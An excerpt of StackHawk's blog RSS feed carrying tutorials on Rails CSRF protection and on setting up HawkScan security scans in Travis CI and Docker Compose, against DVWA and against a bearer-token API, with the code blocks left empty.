exception.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After doing this, go to the base template view file in your application, usually the &lt;code&gt;&lt;b&gt;Application.html.erb&lt;/b&gt;&lt;/code&gt;. Include this line in the header: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= csrf_meta_tags %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And that’s it. &lt;/p&gt;&lt;p&gt;With this simple method, Rails’ JavaScript framework will update every form tag on the page with the generated token. Subsequently, any invalid requests arriving from outside our platform will be flagged and ignored. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Make Your Security Sustainable&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Having proper security is one of those intangible values you can appreciate only when put to the test. Most managers will find it challenging to convince stakeholders of the financial investment and time needed to provide a solid level of security. &lt;/p&gt;&lt;p&gt;Yet in this day and age, ever more sophisticated attacks are becoming more widespread. So, it’s difficult not to justify the investment in reassurance and peace of mind provided by adequate security measures. &lt;/p&gt;&lt;p&gt;Thankfully, nowadays, modern platforms like Rails are making it more accessible and manageable to keep security standards high. That way, you can focus on what matters: bringing value to your clients. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes.&lt;/i&gt; &lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a full-stack engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. Initially working for a big IT company as a developer Juan decided to expand his circles and reach out to different people with a desire to bring something to the world. With his company, and expertise in search platforms, micro-services, and machine learning he is working to revolutionize the recruitment process and help people find jobs and opportunities in Japan more easily while supporting the industries that need the talent to achieve their goals.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Test-Driven Security With StackHawk, Travis CI and Docker Compose]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/test-driven-security-with-travis-ci-and-docker-compose</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;Build a live security test environment within a Travis CI build pipeline, and scan your applications for security vulnerabilities each time you check in code.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Every time you commit and push software changes, you should be building and testing it for bugs. That includes security bug testing against a live integration environment, so you can be aware of any new bugs as they are introduced, and before they go to production. Here’s a step-by-step guide to accomplishing that in a fully automated way using &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt; and &lt;a href=&quot;https://travis-ci.com/&quot;&gt;Travis CI&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In this tutorial, we will build and containerize an intentionally flawed Django app called &lt;i&gt;vuln_django&lt;/i&gt;, based on the &lt;a href=&quot;https://docs.djangoproject.com/en/3.0/intro/tutorial01/&quot;&gt;Django Tutorial&lt;/a&gt; series. We will stand up an integration environment complete with an Nginx front-end and a PostgreSQL database backend using Docker Compose. Finally, we will test our app for security vulnerabilities using StackHawk. And we will do all of this in a self-contained Travis CI build environment, triggered by pushes to GitHub.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Getting Started&lt;/h3&gt;&lt;p&gt;You will need accounts with &lt;a href=&quot;https://app.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt;, &lt;a href=&quot;https://travis-ci.com/&quot;&gt;Travis CI&lt;/a&gt;, and &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;. You will also need some familiarity with Git and Docker. Familiarity with Python and Django is helpful, but not necessary.&lt;/p&gt;&lt;p&gt;You should have the following software installed on your computer.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/get-docker/&quot;&gt;Docker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/compose/install/&quot;&gt;Docker Compose&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Python 3 (`&lt;a href=&quot;https://brew.sh/&quot;&gt;brew&lt;/a&gt; install python` on MacOS)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;All prerequisites for Python3 &lt;a href=&quot;https://pypi.org/project/mysqlclient/&quot;&gt;mysqlclient&lt;/a&gt; (`brew install mysql` on MacOS)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;All prerequisites for Python3 &lt;a href=&quot;https://www.psycopg.org/docs/install.html&quot;&gt;psycopg2&lt;/a&gt; (`brew install postgres` on MacOS)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Fork and Clone vuln_django_play&lt;/h3&gt;&lt;p&gt;Fork a copy of the &lt;a href=&quot;https://github.com/kaakaww/vuln_django_play&quot;&gt;vuln_django_play&lt;/a&gt; repository to your own GitHub account. Then clone the fork to your workstation. This repo already contains all of the automation that we will be creating in this tutorial and more. Since that’s what we want to create, remove it by running the script, &lt;code&gt;delete-automation.sh&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now try running &lt;i&gt;vuln_django&lt;/i&gt; locally to verify that it works.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Browse to http://127.0.0.1:8000/ and you should see the &lt;i&gt;vuln_django&lt;/i&gt; polling application! The strange polls you see were generated in the &lt;code&gt;seed&lt;/code&gt; step above, and the poll data is stored in a SQLite database that was created with the &lt;code&gt;migrate&lt;/code&gt; step.&lt;/p&gt;&lt;p&gt;Hit &lt;code&gt;&amp;lt;ctrl&amp;gt;-c&lt;/code&gt; to stop the development server.&lt;/p&gt;&lt;h3&gt;Containerize vuln_django&lt;/h3&gt;&lt;p&gt;Rather than running the development server, let’s run the app with &lt;a href=&quot;https://gunicorn.org/&quot;&gt;Gunicorn&lt;/a&gt; for better performance, and to better simulate a production environment. And for portability, let’s containerize it.&lt;/p&gt;&lt;p&gt;Create a Dockerfile at the base of your cloned repo with the following contents.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Build the container image and run it to make sure you get the same results as when you ran the app manually.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Browse to the containerized app server at http://localhost:8010/, and once again you should see some polls. Go to http://localhost:8010/admin/ and log on with the superuser credentials you created, and check out the Django admin interface.&lt;/p&gt;&lt;p&gt;Notice how we ran migrations, seed data, and tests as &lt;code&gt;docker exec&lt;/code&gt; commands. As before, those commands created a SQLite database file, this time within the container, and populated it with seed data.&lt;/p&gt;&lt;p&gt;Cool! Shut it down.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since we used the &lt;code&gt;--rm&lt;/code&gt; flag to &lt;code&gt;docker run&lt;/code&gt;, the container goes away, along with all of its data. If you started it again, you would again need to run migrations, create the superuser, and seed the data for the app to work.&lt;/p&gt;&lt;h3&gt;Build a Docker Compose Configuration&lt;/h3&gt;&lt;p&gt;Let’s make this look more like a real application environment by assembling some supporting services in Docker Compose. We will add an Nginx container to host static files and forward requests to our app, and we’ll add a PostgreSQL database to host the polling data.&lt;/p&gt;&lt;p&gt;Create a file, &lt;code&gt;docker-micro.yml&lt;/code&gt; and add the following contents:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice that the &lt;code&gt;vuln-django&lt;/code&gt; service requires the container image, &lt;code&gt;vuln_django:micro&lt;/code&gt;. The &lt;code&gt;build&lt;/code&gt; section specifies where to find the Dockerfile for &lt;code&gt;vuln_django:micro&lt;/code&gt;, and which target stage to build. Recall we added a &lt;i&gt;micro&lt;/i&gt; stage to the Dockerfile above.&lt;/p&gt;&lt;p&gt;Under &lt;code&gt;services.vuln-django.environment&lt;/code&gt;, we populate several variables to tell the &lt;code&gt;vuln-django&lt;/code&gt; service how to connect to its database, and how to create a superuser account for the Django Admin interface. Notice that SQL_HOST is set to &lt;code&gt;db&lt;/code&gt;, which is the name of our PostgreSQL service defined in &lt;code&gt;services.db&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;db&lt;/code&gt; service uses the official &lt;code&gt;postgres&lt;/code&gt; image, and we configure the database, username, and passwords with environment variables.&lt;/p&gt;&lt;p&gt;Finally, the &lt;code&gt;vuln-proxy&lt;/code&gt; service is an official Nginx container with a custom configuration &lt;code&gt;nginx.conf.micro&lt;/code&gt;. This configuration serves custom static content from the &lt;code&gt;/static&lt;/code&gt; directory, mounted as a volume from the &lt;code&gt;./static&lt;/code&gt; directory in the project repo, and forwards all other requests to &lt;code&gt;http://vuln-django:8010&lt;/code&gt;. We publish port &lt;code&gt;8020&lt;/code&gt; as a convenience so that we can test this service locally.&lt;/p&gt;&lt;p&gt;Build and run this Docker Compose configuration.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Run migrations and setup as before, using docker-compose to &lt;code&gt;exec&lt;/code&gt; the commands on the &lt;code&gt;vuln-django&lt;/code&gt; service container.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now that the database has been configured and seeded, click around to see how it looks at http://localhost:8020/polls/. You should see a new waving Pikachu in the background, since we are now serving extra static content from the Nginx proxy service.&lt;/p&gt;&lt;p&gt;Great! Now shut your stack down and remove all of the containers.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Add Automation&lt;/h3&gt;&lt;p&gt;This is looking good, but there are a lot of steps to build this stack and run it. Let’s script what we have done so far.&lt;/p&gt;&lt;p&gt;Create a file in your project called &lt;code&gt;scripts/build-and-run.sh&lt;/code&gt;, and add the following content.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Make the script executable.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now bring the whole stack up like so.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And again, tear it down.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Try that a few more times, and click around the app to make sure it all looks good.&lt;/p&gt;&lt;h3&gt;Add HawkScan&lt;/h3&gt;&lt;p&gt;Create a &lt;code&gt;stackhawk.yml&lt;/code&gt; file and add the following content. Be sure to replace &lt;code&gt;&amp;lt;STACKHAWK_APP_ID&amp;gt;&lt;/code&gt; with your own StackHawk application ID. Check your &lt;a href=&quot;https://app.stackhawk.com/applications&quot;&gt;app list&lt;/a&gt; if you need to find or create one.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This configuration lets HawkScan know where to find the app, how to log in and log out, and whether to spider the app to find more routes. We turned spidering off for now to make sure the scan doesn’t take too long. Check the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/&quot;&gt;HawkDocs&lt;/a&gt; to learn more about all of the HawkScan options.&lt;/p&gt;&lt;p&gt;Fire up your app stack.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now run the HawkScan container to scan it. Replace &lt;code&gt;&amp;lt;STACKHAWK_API_KEY&amp;gt;&lt;/code&gt; with your StackHawk API key.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You should see logs indicating a HawkScan is in progress. Check your &lt;a href=&quot;https://app.stackhawk.com/scans&quot;&gt;StackHawk console&lt;/a&gt; for scan results.&lt;/p&gt;&lt;h3&gt;HawkScan in Docker Compose&lt;/h3&gt;&lt;p&gt;To add HawkScan to the Docker Compose stack, add a supplemental Docker Compose configuration. We will overlay it on top of the stack configuration above. This gives us the ability to automate our database migration between standing up the stack and scanning it.&lt;/p&gt;&lt;p&gt;Create a new Docker Compose file to your project called &lt;code&gt;docker-micro-scan.yml&lt;/code&gt; and add the following content:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Replace &lt;code&gt;&amp;lt;STACKHAWK_APP_ID&amp;gt;&lt;/code&gt; in the configuration above with your StackHawk application ID. To populate the API key at run time, export an environment variable &lt;code&gt;HAWK_API_KEY&lt;/code&gt; with your StackHawk API key.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Let’s walk through the process of building, running, preparing, and then scanning the vuln_django stack.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Again, you should see logs indicating a HawkScan is in progress. Check your &lt;a href=&quot;https://app.stackhawk.com/scans&quot;&gt;HawkScan console&lt;/a&gt; for scan results.&lt;/p&gt;&lt;p&gt;When the scan is complete, shut the stack down and remove all of the containers.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Try running it again from start to finish.&lt;/p&gt;&lt;h3&gt;Build and Scan in Travis CI&lt;/h3&gt;&lt;p&gt;If you haven’t already, activate your project repository with &lt;a href=&quot;https://travis-ci.com/&quot;&gt;Travis CI&lt;/a&gt;. Follow the &lt;a href=&quot;https://docs.travis-ci.com/user/tutorial/&quot;&gt;Travis CI tutorial&lt;/a&gt; if necessary.&lt;/p&gt;&lt;p&gt;Add your StackHawk API key as a secret environment variable under your project in Travis CI. From your project, find the &lt;b&gt;More options&lt;/b&gt; menu, and select &lt;b&gt;Settings.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;On the Settings page, add your API key as a variable called &lt;code&gt;HAWK_API_KEY&lt;/code&gt;, to match the environment variable you used in &lt;code&gt;docker-micro-scan.yml&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;At the base of your project, create a Travis CI configuration file, .&lt;code&gt;travis.yml&lt;/code&gt;, and add the following.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Commit and push all of your changes up to GitHub.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Through the magic of gitops, Travis should detect the updates to your repository and trigger a build with your new configuration. Because we added the HawkScan step to the &lt;code&gt;after_success&lt;/code&gt; phase of the &lt;code&gt;build-and-test&lt;/code&gt; job, it will not block your build if it exits non-zero.&lt;/p&gt;&lt;p&gt;Check your project in Travis CI and watch the build run. After all of the containers have been built, pulled, and run, you should see HawkScan kick off. Check your StackHawk scans console and watch for your results.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Notes&lt;/h3&gt;&lt;p&gt;Security testing can be hard. But as a developer, you are in a great position to add it as an automated process in your CI/CD pipeline. And what you just created is a way to do it without the need for additional AWS resources or standing environments. It all happens in the Travis build environment.&lt;/p&gt;&lt;p&gt;If you haven’t already, you should integrate &lt;a href=&quot;https://www.stackhawk.com/blog/slack-integration-announcement/&quot;&gt;StackHawk with Slack&lt;/a&gt; so your team can receive notifications any time new findings are detected. And within the StackHawk platform, you should assign, accept, or mark findings as false positives, so you don’t have to see the same alerts over and over.&lt;/p&gt;&lt;p&gt;Thanks for reading!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Scanning the Damn Vulnerable Web App with StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/scanning-the-damn-vulnerable-web-app-with-stackhawk</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://github.com/digininja/DVWA&quot;&gt;Damn Vulnerable Web App (DVWA)&lt;/a&gt; is a tool made by &lt;a href=&quot;https://digi.ninja/&quot;&gt;DigiNinja&lt;/a&gt; to help security professionals and developers alike find and exploit &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;Web Application Vulnerabilities&lt;/a&gt;. It’s a great tool and worth checking out if you haven’t already.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Results of StackHawk’s Dynamic Application Security Test (DAST) scan of the Damn Vulnerable Web App.&lt;/p&gt;&lt;p&gt;Below are the details on how you can test StackHawk with the DVWA yourself. Note that this whole process can be done in ~10 minutes and provides a great example of how StackHawk works.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Initial Set Up&lt;/h3&gt;&lt;p&gt;StackHawk is built to find security bugs in a running application. To get DVWA up and running, I went the easy route and deployed the web app via a &lt;a href=&quot;https://www.docker.com/resources/what-container&quot;&gt;Docker container&lt;/a&gt;. This gave me the freedom to use the app and not worry about fiddling with a LAMP stack. The default docker instructions &lt;code&gt;docker run --rm -it -p 8080:80 kaakaww/dvwa-docker&lt;/code&gt; exposes DVWA to the host machine interfaces on port 8080, including &lt;u&gt;http://localhost:8080/&lt;/u&gt;. From there, I could easily log in to the web interface and ensure everything was working as expected.&lt;/p&gt;&lt;p&gt;If you’re following along at home, that docker image is ready to go. Log in and start using it or scanning using &lt;code&gt;username: admin&lt;/code&gt; and &lt;code&gt;password: password &lt;/code&gt;&lt;/p&gt;&lt;h3&gt;Starting a StackHawk Scan&lt;/h3&gt;&lt;p&gt;To start, if you don’t have an API key, please make your way over to &lt;a href=&quot;https://stackhawk.com&quot;&gt;https://stackhawk.com&lt;/a&gt; and signup to get access. Once you have an API key and have defined an application and received the applicationId for your test you are ready to configure the scanner.&lt;/p&gt;&lt;p&gt;StackHawk has a simplified configuration file written in &lt;a href=&quot;https://yaml.org/&quot;&gt;YAML&lt;/a&gt; to make implementation easier and scalable. Automating scanning across the wide variety of applications out there introduces significant complexity, but we’ve simplified the configuration so you can get up and running quickly.&lt;/p&gt;&lt;p&gt;Since we know the application lives on &lt;u&gt;http://localhost:8080/&lt;/u&gt;, the beginning of our config file (stackhawk.yml) should look something like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Within this section of our config file, we tell the scanner what the StackHawk applicationId is, what environment DVWA is running in, where the application can be found and what web crawling to do. In this instance, DVWA is a PHP application, so the base spider will work nicely to find and parse links and forms in the page (we support single page apps too – &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;check out the docs&lt;/a&gt;). If we save this file to a directory on our local computer, say &lt;code&gt;~/dvwatest/&lt;/code&gt;, we can then begin a scanning run. To start StackHawk with our &lt;i&gt;stackhawk.yml&lt;/i&gt; file defined, we simply run the command:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since all of the functionality of the web app is behind Form/Session authentication, running HawkScan at this point only discovers the login.php page. While that part is nifty, there’s no real meat there.&lt;/p&gt;&lt;p&gt;DVWA comes with a default admin user that we set the password for in the beginning part of the article. Reviewing the login form, there is Login, the name of the Submit button with the value Login. It’s important for StackHawk to know that, because that’s how it will try to log in. There are also three different fields submitted:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Username&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Password&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;user_token&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The first two fields are fairly self explanatory. The third field, user_token, is the &lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;CSRF field&lt;/a&gt; that helps prevent &lt;a href=&quot;https://owasp.org/www-community/attacks/Credential_stuffing&quot;&gt;form stuffing&lt;/a&gt;, or automated attempts to bypass the login page. The value for user_token is generated by the server and displayed in the page. The server expects that value back when the user attempts a login to validate the form was read and submitted in a regular fashion. It’s important for StackHawk to know the user_token as well so it can scrape the login page, find the value, pass it back to the server and complete the CSRF challenge. With all these additions, our config file is starting to look a bit more robust.&lt;/p&gt;&lt;p&gt;We also need to set up some of the authentication parameters for the scanner to be able to log into the DVWA. We know it uses Form based authentication.&lt;/p&gt;&lt;p&gt;When we made HawkScan, one the the things we wanted to improve was the Authentication process. The base scanner is sort of agnostic to whether or not your authentication worked and getting feedback to tell if authentication actually worked is at best, difficult. We’ve made that process better in the authentication section. We ask for a URL and a response code that should be accessible after authentication. When those succeed, the scanner continues. If they don’t the scanner stops and give you feedback about what didn’t go correctly in authentication.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With this config file, StackHawk knows how to log in to the app. However, when I ran some scans, the results and discovered URLs are not quite what I was expecting. There were not enough URLs and WAY less vulnerabilities than I expected. When investigating the DVWA in my browser, I can see a few things that I must tell StackHawk for it to do a more thorough job.&lt;/p&gt;&lt;p&gt;Browsing to the Logout Menu, the application instantly logs me out. What that means, is the scanner is logging me into the application to do the spidering of the app, browsing the links it can find and logging me out before it can test any of the pages. I need to tell the scanner about these things. My config now looks like this.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now we are starting to get better results, but something is still missing causing the scanner to not find all the links and test the pages. While we have described our application well, the scanner is still doing something incorrectly with the session when spidering links in the app. We can tell it to not browse or test some of the pages that are giving us trouble. For instance, the setup.php page has a button that rebuilds the entire database, that’s probably not helping our cause. Also, the security.php page has a button that turns on PHPIDS and make the app more secure and while that’s great, it makes our test not work well. The last one we are concerned about is the &lt;code&gt;/vulnerabilities/csrf/&lt;/code&gt; path that has the ability to change the users password. While that doesn’t affect the current scan, the scanner will change the password of the user and confuse you a lot!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now we have a working config for DVWA and can effectively scan the app and get results from the scanner. All of the results of these scans should be viewable from the direct link printed at the end of the scan in the terminal. From there you should be able to browse each of the issue and find the request response pairs that made an alert trigger.&lt;/p&gt;&lt;p&gt;While the iteration to make this work was not difficult, you do need to understand how the application behaves and what things could be causing the scanner to not be able to do its job. Now we have a working config for DVWA and can effectively scan the app and get results from the scanner. To test StackHawk scanning the Damn Vulnerable Web App or your own application, sign up for an account at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;stackhawk.com&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Security Testing Authenticated App Routes Part 3: Password Authentication with Bearer Token]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/password-authentication-with-bearer-token</guid><category><![CDATA[Tooling Guides]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Aaron Neff]]></dc:creator><content:encoded>&lt;p&gt;Modern web applications, especially single-page applications, are often built upon APIs that serve data to more than just HTML-based web browsers. These applications do not rely on web forms for authentication. Instead, a common approach is to create an API route that accepts a &lt;code&gt;POST&lt;/code&gt; request with a JSON payload containing the user’s credentials. The server will then return an authorization token as part of the JSON response. After the initial login, the API expects only the token to be sent on all subsequent requests to protected routes.&lt;/p&gt;&lt;p&gt;Stackhawk’s scanner, HawkScan, supports this scenario by default. Here we will focus on how to define both the username and password fields, values, and payload type for HawkScan. We’ll also add a &lt;code&gt;tokenExtraction&lt;/code&gt; section for obtaining the value of the token from the JSON response and a &lt;code&gt;tokenAuthorization&lt;/code&gt; section for using the token on all subsequent API calls.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; This API is designed to be intentionally minimal for authentication testing purposes only. It is not meant to showcase scan results.&lt;/p&gt;&lt;h3&gt;Prerequisites:&lt;/h3&gt;&lt;p&gt;You will need accounts with &lt;a href=&quot;https://app.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt; and &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;. You will also need some familiarity with Git, Curl, and Docker. Familiarity with Python and Django is helpful, but not necessary.&lt;/p&gt;&lt;p&gt;You should have the following software installed on your computer.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Docker: (download from &lt;a href=&quot;https://docs.docker.com/get-docker/&quot;&gt;docker.com&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Python 3: (&lt;code&gt;[brew](http://&amp;lt;https://brew.sh/&amp;gt;) install python&lt;/code&gt; on MacOS)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;jq: (‘brew install jq’ on MacOS)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Clone and run hawkling-api&lt;/h3&gt;&lt;p&gt;Clone the &lt;a href=&quot;https://github.com/kaakaww/hawkling-api&quot;&gt;hawkling-api&lt;/a&gt; repository and install the project dependencies outlined in the README.md file.&lt;/p&gt;&lt;p&gt;In your terminal, navigate to the &lt;code&gt;hawklingAPI/hawlingAPI/&lt;/code&gt; directory that contains the &lt;code&gt;manage.py&lt;/code&gt; file and run the application.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Visit &lt;a href=&quot;http://localhost:8000/&quot;&gt;http://localhost:8000/&lt;/a&gt; in your browser and verify you can access the home path.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Navigating hawkling-api&lt;/h3&gt;&lt;p&gt;The hawkling-api contains 3 paths: &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;login/&lt;/code&gt;, and &lt;code&gt;kaakaww/&lt;/code&gt;. The first two routes are publicly available, meaning all the content at each path is freely accessible. The third route, &lt;code&gt;kaakaww/&lt;/code&gt;, requires a Bearer token in order to display the greeting message.&lt;/p&gt;&lt;p&gt;If you try to access &lt;code&gt;kaakaww/&lt;/code&gt; without a token, you’ll receive a message asking for credentials. While the message says “credentials,” what it really means is an “Authentication token was not provided.”.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;First, obtain your access token by POSTing credentials to &lt;code&gt;login/&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;A successful post should return a response similar to the following&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next use the value of the &lt;code&gt;access&lt;/code&gt; token to make a request to &lt;code&gt;kaakaww/&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;A request with a valid token will yield a friendly greeting&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Configure and Run HawkScan&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;To scan the application, you’ll need to add the &lt;code&gt;stackhawk.yml&lt;/code&gt; file to your project directory. Filling out the file is as simple as describing the process we just stepped through using cURL.&lt;/p&gt;&lt;p&gt;&lt;b&gt;authentication:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Most often, when a user interacting with your application will innately understand whether they’re logged-in or logged-out based on context clues. To enable HawkScan to simulate scanning your application as an authorized user, we need to specifically define those clues.&lt;/p&gt;&lt;p&gt;In this case, when I made a request to &lt;code&gt;kaakaww/&lt;/code&gt; without a Bearer token, I noticed the response contained the word “detail”. Likewise, when I made a request to &lt;code&gt;kaakaww/&lt;/code&gt; with a Bearer token, the response changed to include the word “message.” Consequently, “detail” becomes my &lt;code&gt;loggedOutIndicator&lt;/code&gt;, and “message” becomes my &lt;code&gt;loggedInIndicator&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;usernamePassword:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Knowing that the hawkling-api accepts &lt;code&gt;POST&lt;/code&gt; requests and expects a JSON payload, we specify the data expected with, &lt;code&gt;type: JSON&lt;/code&gt;, and define the &lt;code&gt;loginPath&lt;/code&gt; as &lt;code&gt;login/&lt;/code&gt;. Next, we need to tell the scanner the names of the credential fields (&lt;code&gt;usernameField&lt;/code&gt; and &lt;code&gt;passwordField&lt;/code&gt;) to be defined in the JSON payload. Lastly, we’ll specify the actual values of the 